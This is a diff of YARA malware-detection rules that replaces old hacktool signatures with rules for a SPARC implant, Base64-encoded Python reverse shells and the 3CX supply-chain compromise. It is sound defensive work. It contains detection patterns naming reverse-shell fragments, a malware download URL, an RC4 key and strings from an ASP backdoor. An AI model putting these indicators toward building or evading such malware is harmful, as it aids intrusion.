+		$s3 = "diuXxobB"
+		$s4 = "CHM_FW"
 
 	condition:
-		3 of them
+		2 of ($*)
 }
-import "pe"
-
-rule SIGNATURE_BASE_Editserver
+rule SIGNATURE_BASE_SUSP_ELF_SPARC_Hunting_SBZ_Modulestruct : FILE
 {
 	meta:
-		description = "Disclosed hacktool set (old stuff) - file EditServer.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "de6bf995-1c7c-561f-98df-e8748d5fb157"
-		date = "2014-11-23"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L1635-L1657"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "87b29c9121cac6ae780237f7e04ee3bc1a9777d3"
-		logic_hash = "6a8f6fcf8f4a0ea5ac114150d7becbd716be0bb40cd45fd5c76a4a8a328e5e40"
+		description = "This rule is UNTESTED against a large dataset and is for hunting purposes only."
+		author = "netadr, modified by Florian Roth for FP reduction reasons"
+		id = "909746f1-44f5-597b-bdb2-2a1396d4b8c7"
+		date = "2023-04-02"
+		modified = "2023-05-08"
+		reference = "https://netadr.github.io/blog/a-quick-glimpse-sbz/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_sparc_sbz_apr23.yar#L49-L65"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "dc9608c769dcb14ba01559bfe2e8ed03eebf5695b867b53742f26e3fcce389ca"
 		score = 60
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "FILE"
 
 	strings:
-		$s0 = "%s Server.exe" fullword ascii
-		$s1 = "Service Port: %s" fullword ascii
-		$s2 = "The Port Must Been >0 & <65535" fullword ascii
-		$s8 = "3--Set Server Port" fullword ascii
-		$s9 = "The Server Password Exceeds 32 Characters" fullword ascii
-		$s13 = "Service Name: %s" fullword ascii
-		$s14 = "Server Password: %s" fullword ascii
-		$s17 = "Inject Process Name: %s" fullword ascii
-		$x1 = "WinEggDrop Shell Congirator" fullword ascii
+		$be = { 02 02 00 00 01 C1 00 07 }
+		$le = { 02 02 00 00 07 00 C1 01 }
 
 	condition:
-		5 of ($s*) or $x1
+		uint32be(0)==0x7f454c46 and ($be or $le)
 }
-import "pe"
-
-rule SIGNATURE_BASE_Sig_238_Letmein
+rule SIGNATURE_BASE_Gen_Python_Reverse_Shell : FILE
 {
 	meta:
-		description = "Disclosed hacktool set (old stuff) - file letmein.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "5dba055f-1928-534a-8d0e-11dda56d93b7"
-		date = "2014-11-23"
+		description = "Python Base64 encoded reverse shell"
+		author = "John Lambert @JohnLaTwC"
+		id = "dda831ae-d0ca-5d5a-bdb3-e7c146a770b4"
+		date = "2018-02-24"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L1659-L1675"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "74d223a56f97b223a640e4139bb9b94d8faa895d"
-		logic_hash = "6cf454d11bc806b3a30c52b730994adb8d92613c92849162717f415e5681e417"
-		score = 60
-		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		reference = "https://www.virustotal.com/en/file/9ec5102bcbabc45f2aa7775464f33019cfbe9d766b1332ee675957c923a17efd/analysis/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_python_reverse_shell.yara#L1-L36"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "12b1424265cd0ea62b8dd5c08933f1285a156d906df6c31ca9a94fbc303f248e"
+		score = 75
+		quality = 83
+		tags = "FILE"
+		hash1 = "9ec5102bcbabc45f2aa7775464f33019cfbe9d766b1332ee675957c923a17efd"
+		hash2 = "bfb5c622a3352bb71b86df81c45ccefaa68b9f7cc0a3577e8013aad951308f12"
 
 	strings:
-		$s1 = "Error get globalgroup memebers: NERR_InvalidComputer" fullword ascii
-		$s6 = "Error get users from server!" fullword ascii
-		$s7 = "get in nt by name and null" fullword ascii
-		$s16 = "get something from nt, hold by killusa." fullword ascii
+		$h1 = "import base64" fullword ascii
+		$s1 = "b64decode" fullword ascii
+		$s2 = "lambda" fullword ascii
+		$s3 = "version_info" fullword ascii
+		$enc_x0 = /(AG8AYwBrAGUAdAAuAFMATwBDAEsAXwBTAFQAUgBFAEEATQ|b2NrZXQuU09DS19TVFJFQU|c29ja2V0LlNPQ0tfU1RSRUFN|cwBvAGMAawBlAHQALgBTAE8AQwBLAF8AUwBUAFIARQBBAE0A|MAbwBjAGsAZQB0AC4AUwBPAEMASwBfAFMAVABSAEUAQQBNA|NvY2tldC5TT0NLX1NUUkVBT)/ ascii
+		$enc_x1 = /(4AYwBvAG4AbgBlAGMAdAAoACgA|5jb25uZWN0KC|AGMAbwBuAG4AZQBjAHQAKAAoA|LgBjAG8AbgBuAGUAYwB0ACgAKA|LmNvbm5lY3QoK|Y29ubmVjdCgo)/
+		$enc_x2 = /(AGkAbQBlAC4AcwBsAGUAZQBwA|aW1lLnNsZWVw|dABpAG0AZQAuAHMAbABlAGUAcA|dGltZS5zbGVlc|QAaQBtAGUALgBzAGwAZQBlAHAA|RpbWUuc2xlZX)/
+		$enc_x3 = /(4AcgBlAGMAdg|5yZWN2|AHIAZQBjAHYA|cmVjd|LgByAGUAYwB2A|LnJlY3)/
 
 	condition:
-		all of them
+		uint32be(0)==0x696d706f and $h1 at 0 and filesize <40KB and all of ($s*) and all of ($enc_x*)
 }
 import "pe"
 
-rule SIGNATURE_BASE_Sig_238_Token
+rule SIGNATURE_BASE_APT_MAL_NK_3CX_Malicious_Samples_Mar23_1 : FILE
 {
 	meta:
-		description = "Disclosed hacktool set (old stuff) - file token.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "9d0ac24b-2078-5455-8d9e-a642c71f7b2d"
-		date = "2014-11-23"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L1677-L1694"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "c52bc6543d4281aa75a3e6e2da33cfb4b7c34b14"
-		logic_hash = "88d7086a48c6a2e3801db75565184b087e663e80e2364765072fc37a5549b8b5"
-		score = 60
+		description = "Detects malicious DLLs related to 3CX compromise"
+		author = "X__Junior, Florian Roth (Nextron Systems)"
+		id = "a6ea3299-fde5-5206-b5db-eb3a3f5944d9"
+		date = "2023-03-29"
+		modified = "2023-04-20"
+		reference = "https://www.reddit.com/r/crowdstrike/comments/125r3uu/20230329_situational_awareness_crowdstrike/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_mal_3cx_compromise_mar23.yar#L3-L30"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "68f4007791d365900c84e32e076aa3cac9f3a9ed46de297f1005306554ee13f5"
+		score = 85
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "FILE"
+		hash1 = "7986bbaee8940da11ce089383521ab420c443ab7b15ed42aed91fd31ce833896"
+		hash2 = "c485674ee63ec8d4e8fde9800788175a8b02d3f9416d0e763360fff7f8eb4e02"
+		hash3 = "cc4eedb7b1f77f02b962f4b05278fa7f8082708b5a12cacf928118520762b5e2"
 
 	strings:
-		$s0 = "Logon.exe" fullword ascii
-		$s1 = "Domain And User:" fullword ascii
-		$s2 = "PID=Get Addr$(): One" fullword ascii
-		$s3 = "Process " fullword ascii
-		$s4 = "psapi.dllK" fullword ascii
+		$opa1 = { 4C 89 F1 4C 89 EA 41 B8 40 00 00 00 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 4C 89 F0 FF 15 ?? ?? ?? ?? 4C 8D 4C 24 ?? 45 8B 01 4C 89 F1 4C 89 EA FF 15 }
+		$opa2 = { 48 C7 44 24 ?? 00 00 00 00 4C 8D 7C 24 ?? 48 89 F9 48 89 C2 41 89 E8 4D 89 F9 FF 15 ?? ?? ?? ?? 41 83 3F 00 0F 84 ?? ?? ?? ?? 0F B7 03 3D 4D 5A 00 00}
+		$opa3 = { 41 80 7C 00 ?? FE 75 ?? 41 80 7C 00 ?? ED 75 ?? 41 80 7C 00 ?? FA 75 ?? 41 80 3C 00 CE}
+		$opa4 = { 44 0F B6 CD 46 8A 8C 0C ?? ?? ?? ?? 45 30 0C 0E 48 FF C1}
+		$opb1 = { 41 B8 40 00 00 00 49 8B D5 49 8B CC FF 15 ?? ?? ?? ?? 85 C0 74 ?? 41 FF D4 44 8B 45 ?? 4C 8D 4D ?? 49 8B D5 49 8B CC FF 15 }
+		$opb2 = { 44 8B C3 48 89 44 24 ?? 48 8B 5C 24 ?? 4C 8D 4D ?? 48 8B CB 48 89 74 24 ?? 48 8B D0 4C 8B F8 FF 15 }
+		$opb3 = { 80 78 ?? FE 75 ?? 80 78 ?? ED 75 ?? 80 38 FA 75 ?? 80 78 ?? CE }
+		$opb4 = { 49 63 C1 44 0F B6 44 05 ?? 44 88 5C 05 ?? 44 88 02 0F B6 54 05 ?? 49 03 D0 0F B6 C2 0F B6 54 05 ?? 41 30 12}
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <5MB and pe.characteristics&pe.DLL and (2 of ($opa*) or 2 of ($opb*))
 }
 import "pe"
 
-rule SIGNATURE_BASE_Sig_238_TELNET
+rule SIGNATURE_BASE_APT_MAL_NK_3CX_Malicious_Samples_Mar23_2 : FILE
 {
 	meta:
-		description = "Disclosed hacktool set (old stuff) - file TELNET.EXE from Windows ME"
+		description = "Detects malicious DLLs related to 3CX compromise (decrypted payload)"
 		author = "Florian Roth (Nextron Systems)"
-		id = "fae22e0f-2f69-5dc6-984c-2c07530ad11a"
-		date = "2014-11-23"
+		id = "bf3597ff-d62b-5d21-9c9b-e46e685284cf"
+		date = "2023-03-29"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L1696-L1712"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "50d02d77dc6cc4dc2674f90762a2622e861d79b1"
-		logic_hash = "4e90d95b7c94933ed5c50f060840291540fc99de0173298b97d2c6ccbf75d26a"
-		score = 60
-		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		reference = "https://twitter.com/dan__mayer/status/1641170769194672128?s=20"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_mal_3cx_compromise_mar23.yar#L32-L54"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "dec8310c1f5b304a755737a0005bb33b1762f21ed380b2b98b0f5427948ab930"
+		score = 80
+		quality = 60
+		tags = "FILE"
+		hash1 = "aa4e398b3bd8645016d8090ffc77d15f926a8e69258642191deb4e68688ff973"
 
 	strings:
-		$s0 = "TELNET [host [port]]" fullword wide
-		$s2 = "TELNET.EXE" fullword wide
-		$s4 = "Microsoft(R) Windows(R) Millennium Operating System" fullword wide
-		$s14 = "Software\\Microsoft\\Telnet" fullword wide
+		$s1 = "raw.githubusercontent.com/IconStorages/images/main/icon%d.ico" wide fullword
+		$s2 = "https://raw.githubusercontent.com/IconStorages" wide fullword
+		$s3 = "icon%d.ico" wide fullword
+		$s4 = "__tutmc" ascii fullword
+		$op1 = { 2d ee a1 00 00 c5 fa e6 f5 e9 40 fe ff ff 0f 1f 44 00 00 75 2e c5 fb 10 0d 46 a0 00 00 44 8b 05 7f a2 00 00 e8 0a 0e 00 00 }
+		$op4 = { 4c 8d 5c 24 71 0f 57 c0 48 89 44 24 60 89 44 24 68 41 b9 15 cd 5b 07 0f 11 44 24 70 b8 b1 68 de 3a 41 ba a4 7b 93 02 }
+		$op5 = { f7 f3 03 d5 69 ca e8 03 00 00 ff 15 c9 0a 02 00 48 8d 44 24 30 45 33 c0 4c 8d 4c 24 38 48 89 44 24 20 }
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <900KB and 3 of them or 5 of them
 }
 import "pe"
 
-rule SIGNATURE_BASE_Snifferport
+rule SIGNATURE_BASE_APT_MAL_NK_3CX_Malicious_Samples_Mar23_3
 {
 	meta:
-		description = "Disclosed hacktool set (old stuff) - file snifferport.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "5b903344-18d2-5d3d-be66-7260a5f3ea4b"
-		date = "2014-11-23"
+		description = "Detects malicious DLLs related to 3CX compromise (decrypted payload)"
+		author = "Florian Roth , X__Junior (Nextron Systems)"
+		id = "d2d361b6-8485-57eb-b6eb-88785f42e93e"
+		date = "2023-03-29"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L1714-L1731"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "d14133b5eaced9b7039048d0767c544419473144"
-		logic_hash = "361f1a55ed4bd5a7a5d01d346c4efd1b83e701363484282235b5aab18d3abe1a"
-		score = 60
+		reference = "https://www.reddit.com/r/crowdstrike/comments/125r3uu/20230329_situational_awareness_crowdstrike/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_mal_3cx_compromise_mar23.yar#L56-L79"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "adfe04904d796690631e5841ee1ee10c767f9f4c340e5b9df78918e981359d4d"
+		score = 80
 		quality = 85
 		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "aa4e398b3bd8645016d8090ffc77d15f926a8e69258642191deb4e68688ff973"
 
 	strings:
-		$s0 = "iphlpapi.DLL" fullword ascii
-		$s5 = "ystem\\CurrentCorolSet\\" ascii
-		$s11 = "Port.TX" fullword ascii
-		$s12 = "32Next" fullword ascii
-		$s13 = "V1.2 B" fullword ascii
+		$opa1 = { 41 81 C0 ?? ?? ?? ?? 02 C8 49 C1 E9 ?? 41 88 4B ?? 4D 03 D1 8B C8 45 8B CA C1 E1 ?? 33 C1 41 69 D0 ?? ?? ?? ?? 8B C8 C1 E9 ?? 33 C1 8B C8 C1 E1 ?? 81 C2 ?? ?? ?? ?? 33 C1 43 8D 0C 02 02 C8 49 C1 EA ?? 41 88 0B 8B C8 C1 E1 ?? 33 C1 44 69 C2 ?? ?? ?? ?? 8B C8 C1 E9 ?? 33 C1 8B C8 C1 E1 ?? 41 81 C0 }
+		$opa2 = { 8B C8 41 69 D1 ?? ?? ?? ?? C1 E1 ?? 33 C1 45 8B CA 8B C8 C1 E9 ?? 33 C1 81 C2 ?? ?? ?? ?? 8B C8 C1 E1 ?? 33 C1 41 8B C8 4C 0F AF CF 44 69 C2 ?? ?? ?? ?? 4C 03 C9 45 8B D1 4C 0F AF D7}
+		$opb1 = { 45 33 C9 48 89 6C 24 ?? 48 8D 44 24 ?? 48 89 6C 24 ?? 8B D3 48 89 B4 24 ?? ?? ?? ?? 48 89 44 24 ?? 45 8D 41 ?? FF 15 }
+		$opb2 = { 44 8B 0F 45 8B C6 48 8B 4D ?? 49 8B D7 44 89 64 24 ?? 48 89 7C 24 ?? 44 89 4C 24 ?? 4C 8D 4D ?? 48 89 44 24 ?? 44 89 64 24 ?? 4C 89 64 24 ?? FF 15}
+		$opb3 = { 48 FF C2 66 44 39 2C 56 75 ?? 4C 8D 4C 24 ?? 45 33 C0 48 8B CE FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 44 0F B7 44 24 ?? 33 F6 48 8B 54 24 ?? 45 33 C9 48 8B 0B 48 89 74 24 ?? 89 74 24 ?? C7 44 24 ?? ?? ?? ?? ?? 48 89 74 24 ?? FF 15 }
+		$opb4 = { 33 C0 48 8D 6B ?? 4C 8D 4C 24 ?? 89 44 24 ?? BA ?? ?? ?? ?? 48 89 44 24 ?? 48 8B CD 89 44 24 ?? 44 8D 40 ?? 8B F8 FF 15}
 
 	condition:
-		all of them
+		( all of ($opa*)) or (1 of ($opa*) and 1 of ($opb*)) or (3 of ($opb*))
 }
 import "pe"
 
-rule SIGNATURE_BASE_Sig_238_Webget
+rule SIGNATURE_BASE_SUSP_APT_MAL_NK_3CX_Malicious_Samples_Mar23_1
 {
 	meta:
-		description = "Disclosed hacktool set (old stuff) - file webget.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "b03a2463-94fe-5050-8e3d-269101a03cda"
-		date = "2014-11-23"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L1733-L1749"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "36b5a5dee093aa846f906bbecf872a4e66989e42"
-		logic_hash = "958c465caddf6436b29042f1f1772e039d011d23ff13d91818a9d7ad21a2c750"
-		score = 60
+		description = "Detects marker found in malicious DLLs related to 3CX compromise"
+		author = "X__Junior, Florian Roth (Nextron Systems)"
+		id = "9fc6eb94-d02f-5bcd-9f55-b6c6a8301b4f"
+		date = "2023-03-29"
+		modified = "2023-04-20"
+		reference = "https://www.reddit.com/r/crowdstrike/comments/125r3uu/20230329_situational_awareness_crowdstrike/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_mal_3cx_compromise_mar23.yar#L81-L98"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "dcce1f5e769a2821d746a960cd333f8042fb71c8469aa41c29bbbd0dce79369c"
+		score = 75
 		quality = 85
 		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "7986bbaee8940da11ce089383521ab420c443ab7b15ed42aed91fd31ce833896"
+		hash2 = "c485674ee63ec8d4e8fde9800788175a8b02d3f9416d0e763360fff7f8eb4e02"
+		hash3 = "cc4eedb7b1f77f02b962f4b05278fa7f8082708b5a12cacf928118520762b5e2"
 
 	strings:
-		$s0 = "Packed by exe32pack" ascii
-		$s1 = "GET A HTTP/1.0" fullword ascii
-		$s2 = " error " fullword ascii
-		$s13 = "Downloa" ascii
+		$opx1 = { 41 80 7C 00 FD FE 75 ?? 41 80 7C 00 FE ED 75 ?? 41 80 7C 00 FF FA 75 ?? 41 80 3C 00 CE }
+		$opx2 = { 80 78 ?? FE 75 ?? 80 78 ?? ED 75 ?? 80 38 FA 75 ?? 80 78 ?? CE }
 
 	condition:
-		all of them
+		1 of them
 }
 import "pe"
 
-rule SIGNATURE_BASE_Xyzcmd_Zip_Folder_Xyzcmd
+rule SIGNATURE_BASE_APT_SUSP_NK_3CX_RC4_Key_Mar23_1 : FILE
 {
 	meta:
-		description = "Disclosed hacktool set (old stuff) - file XYZCmd.exe"
+		description = "Detects RC4 key used in 3CX binaries known to be malicious"
 		author = "Florian Roth (Nextron Systems)"
-		id = "c3d70b93-1d53-5403-bd22-d1e4bad5042b"
-		date = "2014-11-23"
+		id = "18ea2185-11a1-51ad-a51a-df9e6357bb58"
+		date = "2023-03-29"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L1751-L1767"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "bbea5a94950b0e8aab4a12ad80e09b630dd98115"
-		logic_hash = "ad0e8f964c7be376236b50ea370de3e433fa9e7b043663d8f32fad06997056ea"
-		score = 60
-		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		reference = "https://www.reddit.com/r/crowdstrike/comments/125r3uu/20230329_situational_awareness_crowdstrike/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_mal_3cx_compromise_mar23.yar#L100-L117"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "8324b537b149ad3816b12ae0f887f66a284a8e1ef4fe7cf51eb21d59c0f055b9"
+		score = 70
+		quality = 85
+		tags = "FILE"
+		hash1 = "7986bbaee8940da11ce089383521ab420c443ab7b15ed42aed91fd31ce833896"
+		hash2 = "59e1edf4d82fae4978e97512b0331b7eb21dd4b838b850ba46794d9c7a2c0983"
+		hash3 = "aa124a4b4df12b34e74ee7f6c683b2ebec4ce9a8edcf9be345823b4fdcf5d868"
+		hash4 = "c485674ee63ec8d4e8fde9800788175a8b02d3f9416d0e763360fff7f8eb4e02"
 
 	strings:
-		$s0 = "Executes Command Remotely" fullword wide
-		$s2 = "XYZCmd.exe" fullword wide
-		$s6 = "No Client Software" fullword wide
-		$s19 = "XYZCmd V1.0 For NT S" fullword ascii
+		$x1 = "3jB(2bsG#@c7"
 
 	condition:
-		all of them
+		( uint16(0)==0xcfd0 or uint16(0)==0x5a4d) and $x1
 }
 import "pe"
 
-rule SIGNATURE_BASE_Aspack_Chinese
+rule SIGNATURE_BASE_SUSP_3CX_App_Signed_Binary_Mar23_1 : FILE
 {
 	meta:
-		description = "Disclosed hacktool set (old stuff) - file ASPack Chinese.ini"
+		description = "Detects 3CX application binaries signed with a certificate and created in a time frame in which other known malicious binaries have been created"
 		author = "Florian Roth (Nextron Systems)"
-		id = "ac821117-7534-5dec-9477-25be87361900"
-		date = "2014-11-23"
+		id = "b6ce4c1d-1b7b-5e0c-af4c-05cb3ad0a4e0"
+		date = "2023-03-29"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L1769-L1786"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "02a9394bc2ec385876c4b4f61d72471ac8251a8e"
-		logic_hash = "98b3af76986cd41190612a2fdfbd9ba48f102456897f4acaedd89a40ab5a582a"
-		score = 60
+		reference = "https://www.reddit.com/r/crowdstrike/comments/125r3uu/20230329_situational_awareness_crowdstrike/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_mal_3cx_compromise_mar23.yar#L119-L139"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "3834b5ebb5a0db27a452fda1c97c921b2c9c8702505738232b15a3ed4a47dc47"
+		score = 65
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "FILE"
+		hash1 = "fad482ded2e25ce9e1dd3d3ecc3227af714bdfbbde04347dbc1b21d6a3670405"
+		hash2 = "dde03348075512796241389dfea5560c20a3d2a2eac95c894e7bbed5e85a0acc"
 
 	strings:
-		$s0 = "= Click here if you want to get your registered copy of ASPack" fullword ascii
-		$s1 = ";  For beginning of translate - copy english.ini into the yourlanguage.ini" fullword ascii
-		$s2 = "E-Mail:                      shinlan@km169.net" fullword ascii
-		$s8 = ";  Please, translate text only after simbol '='" fullword ascii
-		$s19 = "= Compress with ASPack" fullword ascii
+		$sa1 = "3CX Ltd1"
+		$sa2 = "3CX Desktop App" wide
+		$sc1 = { 1B 66 11 DF 9C 9A 4D 6E CC 8E D5 0C 9B 91 78 73 }
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and pe.timestamp>1669680000 and pe.timestamp<1680108505 and all of ($sa*) and $sc1
 }
 import "pe"
 
-rule SIGNATURE_BASE_Aspbackdoor_EDIR
+rule SIGNATURE_BASE_SUSP_3CX_MSI_Signed_Binary_Mar23_1 : FILE
 {
 	meta:
-		description = "Disclosed hacktool set (old stuff) - file EDIR.ASP"
+		description = "Detects 3CX MSI installers signed with a known compromised certificate and signed in a time frame in which other known malicious binaries have been signed"
 		author = "Florian Roth (Nextron Systems)"
-		id = "0895091a-b620-5746-8245-d44716ec2bbe"
-		date = "2014-11-23"
+		id = "15d6d8ca-6982-5095-9879-ce97269a71c6"
+		date = "2023-03-29"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L1788-L1805"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "03367ad891b1580cfc864e8a03850368cbf3e0bb"
-		logic_hash = "be7d956333107a57a0fd86c69fc9eabcd3d9daf3f66385c44ba246fc2000dc4d"
+		reference = "https://www.reddit.com/r/crowdstrike/comments/125r3uu/20230329_situational_awareness_crowdstrike/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_mal_3cx_compromise_mar23.yar#L141-L166"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b0fa9821a02803473ce8139b19d005968b03c9765cff5b9ae5428a259d88cc9f"
 		score = 60
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "FILE"
+		hash1 = "aa124a4b4df12b34e74ee7f6c683b2ebec4ce9a8edcf9be345823b4fdcf5d868"
+		hash2 = "59e1edf4d82fae4978e97512b0331b7eb21dd4b838b850ba46794d9c7a2c0983"
 
 	strings:
-		$s1 = "response.write \"<a href='index.asp'>" fullword ascii
-		$s3 = "if Request.Cookies(\"password\")=\"" ascii
-		$s6 = "whichdir=server.mappath(Request(\"path\"))" fullword ascii
-		$s7 = "Set fs = CreateObject(\"Scripting.FileSystemObject\")" fullword ascii
-		$s19 = "whichdir=Request(\"path\")" fullword ascii
+		$a1 = { 84 10 0C 00 00 00 00 00 C0 00 00 00 00 00 00 46 }
+		$sc1 = { 1B 66 11 DF 9C 9A 4D 6E CC 8E D5 0C 9B 91 78 73 }
+		$s1 = "3CX Ltd1"
+		$s2 = "202303"
 
 	condition:
-		all of them
+		uint16(0)==0xcfd0 and $a1 and $sc1 and ($s1 in ( filesize -20000.. filesize ) and $s2 in ( filesize -20000.. filesize ))
 }
 import "pe"
 
-rule SIGNATURE_BASE_Bypassfirewall_Zip_Folder_Ie
+rule SIGNATURE_BASE_APT_MAL_Macos_NK_3CX_Malicious_Samples_Mar23_1 : FILE
 {
 	meta:
-		description = "Disclosed hacktool set (old stuff) - file Ie.dll"
+		description = "Detects malicious macOS application related to 3CX compromise (decrypted payload)"
 		author = "Florian Roth (Nextron Systems)"
-		id = "7bd10fa1-be2d-5882-b4c7-b696612343e5"
-		date = "2014-11-23"
+		id = "ff39e577-7063-5025-bead-68394a86c87c"
+		date = "2023-03-30"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L1807-L1823"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "d1b9058f16399e182c9b78314ad18b975d882131"
-		logic_hash = "844e260870f075b0afae0667691e61ab8f138a29871f9a18d1f2b623f9bb9e2a"
-		score = 60
+		reference = "https://www.reddit.com/r/crowdstrike/comments/125r3uu/20230329_situational_awareness_crowdstrike/"
